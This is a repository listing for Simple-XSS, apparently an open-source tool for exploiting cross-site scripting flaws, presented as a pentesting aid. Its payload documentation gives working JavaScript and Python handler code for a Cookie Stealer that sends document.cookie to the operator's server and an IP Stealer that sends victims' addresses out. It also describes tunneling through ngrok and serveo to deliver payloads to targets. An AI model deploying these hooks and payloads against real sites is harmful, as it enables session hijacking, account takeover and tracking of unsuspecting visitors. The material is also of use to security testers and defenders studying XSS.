├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── docs ├── CHANGELOG.md ├── GUIDE.md ├── HOOKS.md ├── PAYLOADS.md ├── PLUGINS.md ├── README.md └── VOCABULARY.md ├── pyproject.toml ├── requirements ├── linux.txt └── windows.txt ├── resources ├── hooks │ ├── http-eval │ │ └── hook.py │ ├── http │ │ └── hook.py │ └── websocket │ │ └── hook.py ├── images │ ├── logo.ico │ ├── logo.png │ ├── service1.png │ ├── service2.png │ ├── tutor1.png │ ├── tutor10.png │ ├── tutor11.png │ ├── tutor12.png │ ├── tutor2.png │ ├── tutor3.png │ ├── tutor4.png │ ├── tutor5.png │ ├── tutor6.png │ ├── tutor7.png │ ├── tutor8.png │ ├── tutor9.png │ └── v0.0.3.png ├── locales │ ├── en │ │ └── LC_MESSAGES │ │ │ └── simplexss.po │ └── uk │ │ └── LC_MESSAGES │ │ └── simplexss.po ├── payloads │ ├── alert │ │ ├── payload.js │ │ └── payload.py │ ├── cookies │ │ ├── payload.js │ │ └── payload.py │ └── ip │ │ ├── payload.js │ │ └── payload.py └── plugins │ └── settings │ └── plugin.py ├── simplexss ├── __init__.py ├── __main__.py ├── api │ ├── __init__.py │ ├── di.py │ ├── events.py │ ├── hooks.py │ ├── io.py │ ├── payloads.py │ ├── plugins.py │ └── transports.py ├── core │ ├── __init__.py │ ├── arguments.py │ ├── channels.py │ ├── config.py │ ├── containers.py │ ├── core.py │ ├── data │ │ ├── __init__.py │ │ └── environments.py │ ├── enums │ │ ├── __init__.py │ │ └── graphic.py │ ├── io │ │ ├── __init__.py │ │ ├── api.py │ │ ├── logging.py │ │ └── types.py │ ├── logging.py │ ├── process │ │ ├── __init__.py │ │ ├── channels.py │ │ ├── enums.py │ │ ├── logging.py │ │ ├── processors.py │ │ └── types.py │ ├── schemas │ │ ├── __init__.py │ │ ├── arguments.py │ │ └── settings.py │ ├── settings.py │ ├── transports │ │ ├── __init__.py │ │ ├── api.py │ │ ├── exceptions.py │ │ ├── factories.py │ │ ├── http │ │ │ ├── __init__.py │ │ │ ├── fastapi │ │ │ │ ├── __init__.py │ │ │ │ ├── constants.py │ │ │ │ ├── dependencies.py │ │ │ │ ├── schemas.py │ │ │ │ ├── servers.py │ │ │ │ └── services.py │ │ │ ├── services.py │ │ │ ├── sessions.py │ │ │ └── types.py │ │ ├── types.py │ │ └── websocket │ │ │ ├── __init__.py │ │ │ ├── server │ │ │ ├── __init__.py │ │ │ ├── constants.py │ │ │ ├── schemas.py │ │ │ └── servers.py │ │ │ ├── services.py │ │ │ ├── sessions.py │ │ │ └── types.py │ ├── tunneling │ │ ├── __init__.py │ │ ├── exceptions.py │ │ ├── factories.py │ │ ├── ngrok │ │ │ ├── __init__.py │ │ │ ├── services.py │ │ │ └── sessions.py │ │ ├── serveo │ │ │ ├── __init__.py │ │ │ ├── services.py │ │ │ └── sessions.py │ │ └── types.py │ ├── types.py │ ├── ui │ │ ├── __init__.py │ │ ├── channels.py │ │ ├── cli │ │ │ ├── __init__.py │ │ │ └── cli.py │ │ ├── contexts.py │ │ ├── factories.py │ │ ├── gui │ │ │ ├── __init__.py │ │ │ ├── banners │ │ │ │ ├── __init__.py │ │ │ │ ├── basic.py │ │ │ │ ├── constants.py │ │ │ │ ├── enums.py │ │ │ │ ├── error.py │ │ │ │ └── warning.py │ │ │ ├── channels.py │ │ │ ├── components │ │ │ │ ├── __init__.py │ │ │ │ ├── constants.py │ │ │ │ ├── enums.py │ │ │ │ ├── hook.py │ │ │ │ ├── main.py │ │ │ │ ├── message.py │ │ │ │ ├── network.py │ │ │ │ ├── payload.py │ │ │ │ └── process.py │ │ │ ├── containers.py │ │ │ ├── exceptions.py │ │ │ ├── gui.py │ │ │ ├── managers.py │ │ │ └── types.py │ │ └── types.py │ └── utils.py └── utils │ ├── __init__.py │ ├── arguments │ ├── __init__.py │ ├── logging.py │ ├── parsers.py │ └── types.py │ ├── clsutils │ ├── __init__.py │ └── generators.py │ ├── di │ ├── __init__.py │ ├── containers │ │ ├── __init__.py │ │ └── container.py │ ├── dependencies │ │ ├── __init__.py │ │ ├── basic.py │ │ ├── dependency.py │ │ ├── factory.py │ │ └── singleton.py │ ├── logging.py │ ├── types.py │ └── utils │ │ ├── __init__.py │ │ ├── inject.py │ │ └── setup.py │ ├── events │ ├── __init__.py │ ├── channels.py │ ├── events.py │ ├── logging.py │ └── types.py │ ├── imputils │ ├── __init__.py │ ├── cls.py │ ├── logging.py │ └── module.py │ ├── jinja │ ├── __init__.py │ └── utils.py │ ├── network │ ├── __init__.py │ ├── contants.py │ ├── url.py │ └── validators.py │ ├── packages │ ├── __init__.py │ ├── constants.py │ ├── exceptions.py │ ├── logging.py │ ├── managers.py │ ├── packages.py │ └── types.py │ ├── settings │ ├── __init__.py │ ├── exceptions.py │ ├── logging.py │ ├── toml │ │ ├── __init__.py │ │ └── loaders.py │ └── types.py │ └── theads │ ├── __init__.py │ └── utils.py └── tests ├── transports └── http │ ├── test_fast_api_server.py │ └── test_http_service.py ├── tunneling ├── test_factory.py └── test_ngrok.py └── utils ├── args └── test_parser.py ├── clsutils └── test_generators.py ├── di ├── test_container.py ├── test_factory_dependency.py ├── test_inject.py └── test_singleton_dependnecy.py ├── events ├── test_async_event.py ├── test_event_channel.py └── test_sync_event.py ├── network ├── test_url.py └── test_validators.py ├── packages ├── packages │ ├── package.py │ └── package_2.py └── test_manager.py └── settings └── test_toml.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit http / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | db.sqlite3 61 | db.sqlite3-journal 62 | 63 | # Flask stuff: 64 | instance/ 65 | .webassets-cache 66 | 67 | # Scrapy stuff: 68 | .scrapy 69 | 70 | # Sphinx documentation 71 | docs/_build/ 72 | 73 | # PyBuilder 74 | .pybuilder/ 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | # For a library or package, you might want to ignore these files since the js is 86 | # intended to run in multiple environments; otherwise, check them in: 87 | # .python-version 88 | 89 | # pipenv 90 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 91 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 92 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 93 | # install all needed dependencies. 94 | #Pipfile.lock 95 | 96 | # poetry 97 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 98 | # This is especially recommended for binary packages to ensure reproducibility, and is more 99 | # commonly ignored for libraries. 100 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 101 | poetry.lock 102 | 103 | # pdm 104 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 105 | #pdm.lock 106 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 107 | # in version control. 108 | # https://pdm.fming.dev/#use-with-ide 109 | .pdm.toml 110 | 111 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 112 | __pypackages__/ 113 | 114 | # Celery stuff 115 | celerybeat-schedule 116 | celerybeat.pid 117 | 118 | # SageMath parsed files 119 | *.sage.py 120 | 121 | # Environments 122 | .env 123 | .venv 124 | env/ 125 | venv/ 126 | ENV/ 127 | env.bak/ 128 | venv.bak/ 129 | 130 | # Spyder project settings 131 | .spyderproject 132 | .spyproject 133 | 134 | # Rope project settings 135 | .ropeproject 136 | 137 | # mkdocs documentation 138 | /site 139 | 140 | # mypy 141 | .mypy_cache/ 142 | .dmypy.json 143 | dmypy.json 144 | 145 | # Pyre type checker 146 | .pyre/ 147 | 148 | # pytype static type analyzer 149 | .pytype/ 150 | 151 | # Cython debug symbols 152 | cython_debug/ 153 | 154 | # PyCharm 155 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 156 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 157 | # and can be added to the global gitignore or merged into this file. For a more nuclear 158 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 159 | .idea/ 160 | 161 | # Linter 162 | .ruff_cache 163 | 164 | # Settings 165 | settings.toml 166 | 167 | # Logfiles 168 | .log 169 | 170 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 CrazyProger1 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: test 2 | test: 3 | poetry run python -m pytest tests/ 4 | 5 | 6 | .PHONY: run 7 | run: 8 | poetry run python -m simplexss 9 | 10 | 11 | .PHONY: translations 12 | translations: 13 | poetry run python -m i18n simplexss/__init__.py simplexss.pot 14 | 15 | 16 | .PHONY: build 17 | build: 18 | poetry run pyinstaller -F --name Simple-XSS --icon "resources/images/logo.ico" simplexss/__main__.py 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS 2 | 3 |

4 | Simple-XSS logo 5 |

6 | 7 |

8 | GitHub all releases 9 | GitHub 10 | GitHub release (latest by date) 11 |

12 | 13 | Simple-XSS is a multi-platform cross-site scripting (XSS) vulnerability exploitation tool for pentesting. 14 | 15 | Problems solved by Simple-XSS: 16 | 17 | - [x] Easy creatable payloads & hooks 18 | - [x] Support of several transport services (HTTP, Websocket) 19 | - [x] Support of several tunneling services (to deliver payload even without white IP) 20 | 21 | **Disclaimer:** This program is provided for educational and research purposes only. 22 | The creator of this program does not condone or support any illegal or malicious activity, 23 | and will not be held responsible for any such actions taken by others who may use this program. 24 | By downloading or using this program, you acknowledge that you are solely responsible for any consequences 25 | that may result from the use of this program. 26 | 27 | ## Documentation 28 | 29 | See **[docs](./docs/README.md)** 30 | 31 | ## Status 32 | 33 | **V0.0.3 - released** 34 | 35 | ## Interface 36 | 37 | ### Graphical 38 | 39 | ![v0.0.3](resources/images/v0.0.3.png) 40 | 41 | ## Warning 42 | 43 | In favor of ease of use and expanded capabilities, we had to sacrifice backward compatibility between versions 0.2 and 44 | 0.0.3. The features of the previous version are retained and expanded, but older versions of hook & payload will not 45 | work. 46 | 47 | ## Installation 48 | 49 | **Note:** _make sure you have installed [Python 3.12](https://www.python.org/) or higher._ 50 | 51 | First you need to clone the repository: 52 | 53 | ```commandline 54 | git clone https://github.com/CrazyProger1/Simple-XSS 55 | ``` 56 | 57 | Then go to the folder & install the requirements: 58 | 59 | **For Window:** 60 | 61 | ```commandline 62 | cd Simple-XSS 63 | pip install -r requirements/windows.txt 64 | ``` 65 | 66 | **For Linux:** 67 | 68 | ```commandline 69 | cd Simple-XSS 70 | pip install -r requirements/linux.txt 71 | ``` 72 | 73 | And finally you can launch it: 74 | 75 | ```commandline 76 | python simplexss 77 | ``` 78 | 79 | ## License 80 | 81 | Simple-XSS is released under the MIT License. See the bundled [LICENSE](LICENSE) file for details. 82 | -------------------------------------------------------------------------------- /docs/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS Changelog 2 | 3 | ## V0.0.3 4 | 5 | - [x] Rewritten from scratch to improve maintainability and expand functionality 6 | 7 | - [x] Added support for various protocols (as transport services) 8 | - [x] HTTP 9 | - [ ] Websockets (unfinished) 10 | 11 | - [x] Added tunneling service 12 | - [x] Serveo 13 | - [x] Ngrok 14 | 15 | - [x] Added plugin system 16 | 17 | - [x] Added i18n 18 | -------------------------------------------------------------------------------- /docs/GUIDE.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS Guide 2 | 3 | - Choose transport option: 4 | 5 | ![](../resources/images/tutor1.png) 6 | 7 | - Enter a convenient host and port on which the transport server should run: 8 | 9 | ![](../resources/images/tutor2.png) 10 | 11 | - Choose tunneling option (if you have a white IP or want to test locally - turn off "Use Tunneling Service"): 12 | 13 | ![](../resources/images/tutor3.png) 14 | 15 | ![](../resources/images/tutor4.png) 16 | 17 | - Choose hook option: 18 | 19 | ![](../resources/images/tutor5.png) 20 | 21 | - Choose payload option: 22 | 23 | ![](../resources/images/tutor6.png) 24 | 25 | - Run the process: 26 | 27 | ![](../resources/images/tutor7.png) 28 | 29 | - You'll see hook, copy it: 30 | 31 | ![](../resources/images/tutor8.png) 32 | 33 | - Test your hook: 34 | 35 | ![](../resources/images/tutor9.png) 36 | 37 | - Client hooked, now you can enter and send text: 38 | 39 | ![](../resources/images/tutor10.png) 40 | 41 | ![](../resources/images/tutor11.png) 42 | 43 | - See alert: 44 | 45 | ![](../resources/images/tutor12.png) 46 | -------------------------------------------------------------------------------- /docs/HOOKS.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS Hooks 2 | 3 | See [hook.](VOCABULARY.md) 4 | 5 | See [environment](PAYLOADS.md/#environment) - same as payload. 6 | 7 | See [io](PAYLOADS.md/#io-api) - same as payload. 8 | 9 | ## Examples 10 | 11 | ### HTTP Default Hook 12 | 13 | ```python 14 | # hook.py 15 | 16 | from simplexss.api.hooks import BaseHook 17 | 18 | 19 | class Hook(BaseHook): 20 | AUTHOR = 'crazyproger1' 21 | DESCRIPTION = 'Default HTTP hook, uses script src.' 22 | NAME = 'Default HTTP Hook' 23 | VERSION = '0.0.1' 24 | TRANSPORTS = ( 25 | 'Default HTTP Transport', 26 | ) 27 | 28 | @property 29 | def hook(self) -> str: 30 | return f'' 31 | ``` 32 | 33 | ### HTTP Eval Hook 34 | 35 | ```python 36 | # hook.py 37 | 38 | from simplexss.api.hooks import BaseHook 39 | 40 | 41 | class Hook(BaseHook): 42 | AUTHOR = 'crazyproger1' 43 | DESCRIPTION = 'HTTP Eval hook. ' 44 | NAME = 'HTTP Eval Hook' 45 | VERSION = '0.0.1' 46 | TRANSPORTS = ( 47 | 'Default HTTP Transport', 48 | ) 49 | 50 | @property 51 | def hook(self) -> str: 52 | return f'' 53 | ``` 54 | -------------------------------------------------------------------------------- /docs/PAYLOADS.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS Payloads 2 | 3 | See [payload.](VOCABULARY.md) 4 | 5 | ## API 6 | 7 | ### Payload-API 8 | 9 | #### Environment 10 | 11 | Environment - actual information about running process: 12 | 13 | - url - current transport server address (tunneled or not) 14 | - settings - current Simple-XSS settings 15 | - arguments - current Simple-XSS arguments 16 | 17 | ```python 18 | class Environment: 19 | url: str = None 20 | settings: SettingsSchema = None 21 | arguments: ArgumentsSchema = None 22 | ``` 23 | 24 | #### Dependencies 25 | 26 | Payloads have dependencies: 27 | 28 | - [transport API](#Transport-API) 29 | - [io API](#IO-API) 30 | - [environment](#Environment) 31 | 32 | Dependencies are accessible in payload after binding: 33 | 34 | ```python 35 | from simplexss.api import BasePayload 36 | 37 | 38 | class Payload(BasePayload): 39 | def bind_dependencies(self, **deps): 40 | self.transport = deps.get('transport') 41 | self.io = deps.get('io') 42 | self.environment = deps.get('env') 43 | ``` 44 | 45 | Payload methods that called at a specific time: 46 | 47 | - ```def bind_dependencies(self, **deps)``` - called when process is launching to bind dependencies. 48 | 49 | - ```def bind_endpoints(self)``` - called when process is launching to bind event handlers (endpoints) to transport. 50 | 51 | ### Transport-API 52 | 53 | See [transport.](VOCABULARY.md) 54 | 55 | Transport API is provided for the payload to communicate with client. Every transport should have single Python-side API: 56 | 57 | ```python 58 | class BaseClient: # depends on Transport Service, but always should inherit Base 59 | origin: str 60 | 61 | 62 | class BaseEvent: # depends on Transport Service, but always should inherit Base 63 | name: str 64 | data: dict = None 65 | 66 | 67 | type Endpoint = Callable[[BaseClient, BaseEvent], Coroutine | BaseEvent | any | None] # event handler type 68 | 69 | 70 | class BaseTransportAPI(ABC): 71 | @abstractmethod 72 | def bind_endpoint(self, event: str, endpoint: Endpoint): ... # add event handler 73 | 74 | @abstractmethod 75 | async def send_event(self, client: BaseClient, event: BaseEvent): ... # send event 76 | ``` 77 | 78 | ### Transport-JS-API 79 | 80 | Every transport should have single JS-side API: 81 | 82 | ```js 83 | const addListener = (event: string, callback) => ... // add event handler 84 | 85 | const sendEvent = async (event: string, data: object = {}) => ... // send event 86 | ``` 87 | 88 | Example callback: 89 | ```js 90 | const callback = (data: object) => ... // User event handler 91 | ``` 92 | ### IO-API 93 | 94 | An I/O manager is provided for the payloads and hooks to handle IO operations. It has interface: 95 | 96 | ```python 97 | class BaseIOManagerAPI(ABC): 98 | @abstractmethod 99 | async def print(self, *args, color: Color | str = Color.DEFAULT, sep: str = ' ', end: str = '\n'): ... 100 | 101 | @abstractmethod 102 | async def input(self, prompt: str, /, *, color: Color | str = Color.DEFAULT): ... 103 | ``` 104 | 105 | ## Examples 106 | 107 | ### IP Stealer 108 | 109 | ```python 110 | # payload.py 111 | 112 | from simplexss.api import ( 113 | BasePayload, 114 | BaseClient, 115 | BaseEvent, 116 | render 117 | ) 118 | 119 | 120 | class Payload(BasePayload): 121 | AUTHOR = 'crazyproger1' 122 | DESCRIPTION = 'Steals IP.' 123 | NAME = 'IP Stealer' 124 | VERSION = '0.0.1' 125 | 126 | async def on_ip(self, client: BaseClient, event: BaseEvent): 127 | await self.io.print(f'IP: {event.data.get("ip", "unknown")}') 128 | 129 | async def on_connection(self, client: BaseClient, event: BaseEvent): 130 | await self.io.print(f'Connection established: {client.origin}') 131 | 132 | def bind_endpoints(self): 133 | self.transport.bind_endpoint('connection', self.on_connection) 134 | self.transport.bind_endpoint('ip', self.on_ip) 135 | 136 | @property 137 | def payload(self) -> str: 138 | return render(self.directory, 'payload.js', ) 139 | ``` 140 | 141 | ```js 142 | // payload.js 143 | 144 | fetch('https://api.ipify.org?format=json') 145 | .then(response => response.json()) 146 | .then(data => sendEvent('ip', {'ip': data.ip})); 147 | ``` 148 | 149 | ### Cookie Stealer 150 | 151 | ```python 152 | # payload.py 153 | 154 | from simplexss.api import ( 155 | BasePayload, 156 | BaseClient, 157 | BaseEvent, 158 | render 159 | ) 160 | 161 | 162 | class Payload(BasePayload): 163 | AUTHOR = 'crazyproger1' 164 | DESCRIPTION = 'Steals cookies.' 165 | NAME = 'Cookie Stealer' 166 | VERSION = '0.0.1' 167 | 168 | async def on_cookies(self, client: BaseClient, event: BaseEvent): 169 | await self.io.print(f'Cookies: {event.data.get("cookies")}') 170 | 171 | async def on_connection(self, client: BaseClient, event: BaseEvent): 172 | await self.io.print(f'Connection established: {client.origin}') 173 | 174 | def bind_endpoints(self): 175 | self.transport.bind_endpoint('connection', self.on_connection) 176 | self.transport.bind_endpoint('cookies', self.on_cookies) 177 | 178 | @property 179 | def payload(self) -> str: 180 | return render(self.directory, 'payload.js', ) 181 | ``` 182 | 183 | ```js 184 | // payload.js 185 | 186 | sendEvent('cookies', {'cookies': document.cookie}) 187 | ``` 188 | 189 | ### Alert 190 | 191 | ```python 192 | # payload.py 193 | 194 | from simplexss.api import ( 195 | BasePayload, 196 | BaseClient, 197 | BaseEvent, 198 | render 199 | ) 200 | 201 | 202 | class Payload(BasePayload): 203 | AUTHOR = 'crazyproger1' 204 | DESCRIPTION = 'Alerts your message when connection established.' 205 | NAME = 'Alert' 206 | VERSION = '0.0.1' 207 | 208 | async def on_connection(self, client: BaseClient, event: BaseEvent): 209 | await self.io.print(f'Connection established: {client.origin}') 210 | 211 | text = await self.io.input('Text') 212 | 213 | return { 214 | 'name': 'alert', 215 | 'data': { 216 | 'text': text 217 | } 218 | } 219 | 220 | def bind_endpoints(self): 221 | self.transport.bind_endpoint('connection', self.on_connection) 222 | 223 | @property 224 | def payload(self) -> str: 225 | return render(self.directory, 'payload.js', ) 226 | ``` 227 | 228 | ```js 229 | // payload.js 230 | 231 | addListener('alert', (data) => alert(data.text)) 232 | ``` -------------------------------------------------------------------------------- /docs/PLUGINS.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS Plugins 2 | 3 | Simple-XSS is designed to be expendable, almost any component can be replaced at runtime. 4 | 5 | ## DI-System 6 | 7 | Dependency injection tools allows to replace almost any component in program at runtime. It uses container-based 8 | system, where container stores all dependencies. 9 | 10 | Any dependency can be injected into a function/method using the ```@inject``` decorator: 11 | 12 | ```python 13 | from simplexss.utils.di import inject 14 | 15 | 16 | @inject 17 | def on_settings_loaded(settings=CoreContainer.settings): 18 | print(f'Settings loaded: {settings}') 19 | ``` 20 | 21 | **Core Container:** 22 | 23 | ```python 24 | class CoreContainer(containers.Container): 25 | arguments_schema = dependencies.Dependency(ArgumentsSchema) 26 | settings_schema = dependencies.Dependency(SettingsSchema) 27 | 28 | arguments_parser = dependencies.Factory(SchemedArgumentParser, kwargs={'schema': arguments_schema}) 29 | settings_loader = dependencies.Factory(TOMLLoader) 30 | 31 | arguments = dependencies.Dependency() 32 | settings = dependencies.Dependency() 33 | 34 | plugin_class = dependencies.Dependency(BasePlugin) 35 | plugin_manager = dependencies.Singleton(PackageManager) 36 | 37 | hook_class = dependencies.Dependency(BaseHook) 38 | hook_manager = dependencies.Singleton(PackageManager) 39 | 40 | payload_class = dependencies.Dependency(BasePayload) 41 | payload_manager = dependencies.Singleton(PackageManager) 42 | 43 | ui_factory = dependencies.Factory(UIFactory) 44 | 45 | tunneling_service_factory = dependencies.Factory(TunnelingServiceFactory) 46 | transport_service_factory = dependencies.Factory(TransportServiceFactory) 47 | 48 | io_manager = dependencies.Singleton(IOManagerAPI) 49 | 50 | ui_context = dependencies.Singleton( 51 | UIContext, 52 | kwargs={ 53 | 'settings': settings, 54 | 'arguments': arguments 55 | } 56 | ) 57 | 58 | processor = dependencies.Factory( 59 | SimpleXSSProcessor, 60 | kwargs={ 61 | 'arguments': arguments, 62 | 'settings': settings, 63 | 'transport_factory': transport_service_factory, 64 | 'tunneling_factory': tunneling_service_factory, 65 | 'hook_manager': hook_manager, 66 | 'payload_manager': payload_manager, 67 | 'io_manager': io_manager, 68 | 'ui_context': ui_context 69 | } 70 | ) 71 | 72 | core = dependencies.Singleton( 73 | Core, 74 | kwargs={ 75 | 'arguments': arguments, 76 | 'settings': settings, 77 | 'ui_factory': ui_factory, 78 | 'processor': processor 79 | } 80 | ) 81 | ``` 82 | 83 | **GUI Container:** 84 | 85 | ```python 86 | class GUIContainer(containers.Container): 87 | main_page = dependencies.Dependency() 88 | 89 | error_banner = dependencies.Factory(ErrorBanner) 90 | warning_banner = dependencies.Factory(WarningBanner) 91 | 92 | network_box = dependencies.Factory(NetworkBox, kwargs={ 93 | 'tunneling_factory': CoreContainer.tunneling_service_factory, 94 | 'transport_factory': CoreContainer.transport_service_factory, 95 | }) 96 | hook_box = dependencies.Factory(HookBox, kwargs={ 97 | 'manager': CoreContainer.hook_manager, 98 | 'transport_factory': CoreContainer.transport_service_factory, 99 | }) 100 | payload_box = dependencies.Factory(PayloadBox, kwargs={ 101 | 'manager': CoreContainer.payload_manager, 102 | }) 103 | process_control_box = dependencies.Factory(ProcessControlBox) 104 | message_area_box = dependencies.Factory(MessageAreaBox, kwargs={ 105 | 'io_manager': CoreContainer.io_manager, 106 | }) 107 | message_control_box = dependencies.Factory(MessageControlBox, kwargs={ 108 | 'io_manager': CoreContainer.io_manager, 109 | }) 110 | 111 | main_box = dependencies.Factory(MainBox, kwargs={ 112 | 'network_box': network_box, 113 | 'hook_box': hook_box, 114 | 'payload_box': payload_box, 115 | 'process_control_box': process_control_box, 116 | 'message_area_box': message_area_box, 117 | 'message_control_box': message_control_box 118 | }) 119 | 120 | gui_manager = dependencies.Factory( 121 | ComponentManager, 122 | kwargs={ 123 | 'component': main_box, 124 | 'page': main_page, 125 | 'context': CoreContainer.ui_context, 126 | 'error_banner': error_banner, 127 | 'warning_banner': warning_banner, 128 | } 129 | ) 130 | ``` 131 | 132 | ## Event-System 133 | 134 | Event-driven architecture allows to track and handle events. All events are organized and stores into event-channels. 135 | 136 | To subscribe on event: 137 | 138 | ```python 139 | # for sync events 140 | def on_settings_loaded(): 141 | print(f'Settings loaded') 142 | 143 | 144 | CoreChannel.settings_loaded.subscribe(on_settings_loaded) 145 | 146 | 147 | # for async events 148 | async def on_settings_loaded_async(): 149 | print(f'Settings loaded') 150 | 151 | 152 | CoreChannel.settings_loaded.subscribe(on_settings_loaded_async) 153 | # or 154 | CoreChannel.settings_loaded.subscribe(on_settings_loaded) 155 | ``` 156 | 157 | **Core Channel:** 158 | 159 | ```python 160 | class CoreChannel(EventChannel): 161 | plugins_loaded = AsyncEvent() 162 | hooks_loaded = AsyncEvent() 163 | payloads_loaded = AsyncEvent() 164 | arguments_loaded = AsyncEvent() 165 | settings_loaded = AsyncEvent() 166 | core_initialized = Event() 167 | core_terminated = AsyncEvent() 168 | ``` 169 | 170 | 171 | 172 | ## Services 173 | 174 | To add transport or tunneling service you can just implement service interface or inherit one of existing services. 175 | 176 | ### Transport 177 | 178 | ```python 179 | from simplexss.api import BasePlugin 180 | 181 | from simplexss.core.transports import BaseTransportService, BaseSession 182 | 183 | 184 | class MyService(BaseTransportService): 185 | NAME = 'My HTTP Service' 186 | PROTOCOL = 'http' 187 | 188 | async def run(self, host: str, port: int, **kwargs) -> BaseSession: 189 | pass 190 | 191 | async def stop(self, session: BaseSession) -> None: 192 | pass 193 | 194 | 195 | class Plugin(BasePlugin): 196 | pass 197 | ``` 198 | 199 | ![Service Plugin](../resources/images/service1.png) 200 | 201 | ### Tunneling 202 | 203 | ```python 204 | from simplexss.api import BasePlugin 205 | 206 | from simplexss.core.tunneling import BaseTunnelingService, BaseSession 207 | 208 | 209 | class MyService(BaseTunnelingService): 210 | NAME = 'My Tunneling Service' 211 | PROTOCOLS = { 212 | 'http', 213 | } 214 | 215 | async def run(self, protocol: str, port: int) -> BaseSession: 216 | pass 217 | 218 | async def stop(self, session: BaseSession): 219 | pass 220 | 221 | 222 | class Plugin(BasePlugin): 223 | pass 224 | ``` 225 | 226 | ![service2.png](../resources/images/service2.png) 227 | 228 | 229 | ## Examples 230 | 231 | ```python 232 | from simplexss.api import ( 233 | BasePlugin, 234 | CoreChannel, 235 | CoreContainer 236 | ) 237 | 238 | from simplexss.utils.di import inject 239 | 240 | 241 | class Plugin(BasePlugin): 242 | NAME = 'Settings Loading Detector' 243 | 244 | def on_loaded(self, file: str): 245 | CoreChannel.settings_loaded.subscribe(self.on_settings_loaded) 246 | 247 | @inject 248 | def on_settings_loaded(self, settings=CoreContainer.settings): 249 | print(f'Settings loaded: {settings}') 250 | ``` 251 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS Documentation 2 | 3 | - [Guide](./GUIDE.md) 4 | - [Vocabulary](./VOCABULARY.md) 5 | - [Hooks](./HOOKS.md) 6 | - [Payloads](./PAYLOADS.md) 7 | - [Plugins](./PLUGINS.md) 8 | - [Changelog](./CHANGELOG.md) -------------------------------------------------------------------------------- /docs/VOCABULARY.md: -------------------------------------------------------------------------------- 1 | # Simple-XSS Vocabulary 2 | 3 | - **Hook** - snippet of JS code designed to be injected via XSS on the client side. 4 | 5 | - **Payload** - a program that will be launched remotely in the client’s browser. 6 | 7 | - **Plugin** - program extension. 8 | 9 | - **Transport Service** - service responsible for delivering payload to client side & data exchange between client and 10 | host. 11 | 12 | - **Tunneling Service** - service responsible for tunneling (it's useful if you don't have white IP) 13 | 14 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.ruff] 2 | exclude = [ 3 | ".bzr", 4 | ".direnv", 5 | ".eggs", 6 | ".git", 7 | ".git-rewrite", 8 | ".hg", 9 | ".mypy_cache", 10 | ".nox", 11 | ".pants.d", 12 | ".pytype", 13 | ".ruff_cache", 14 | ".svn", 15 | ".tox", 16 | ".venv", 17 | "__pypackages__", 18 | "_build", 19 | "buck-out", 20 | "build", 21 | "dist", 22 | "node_modules", 23 | "venv" 24 | ] 25 | 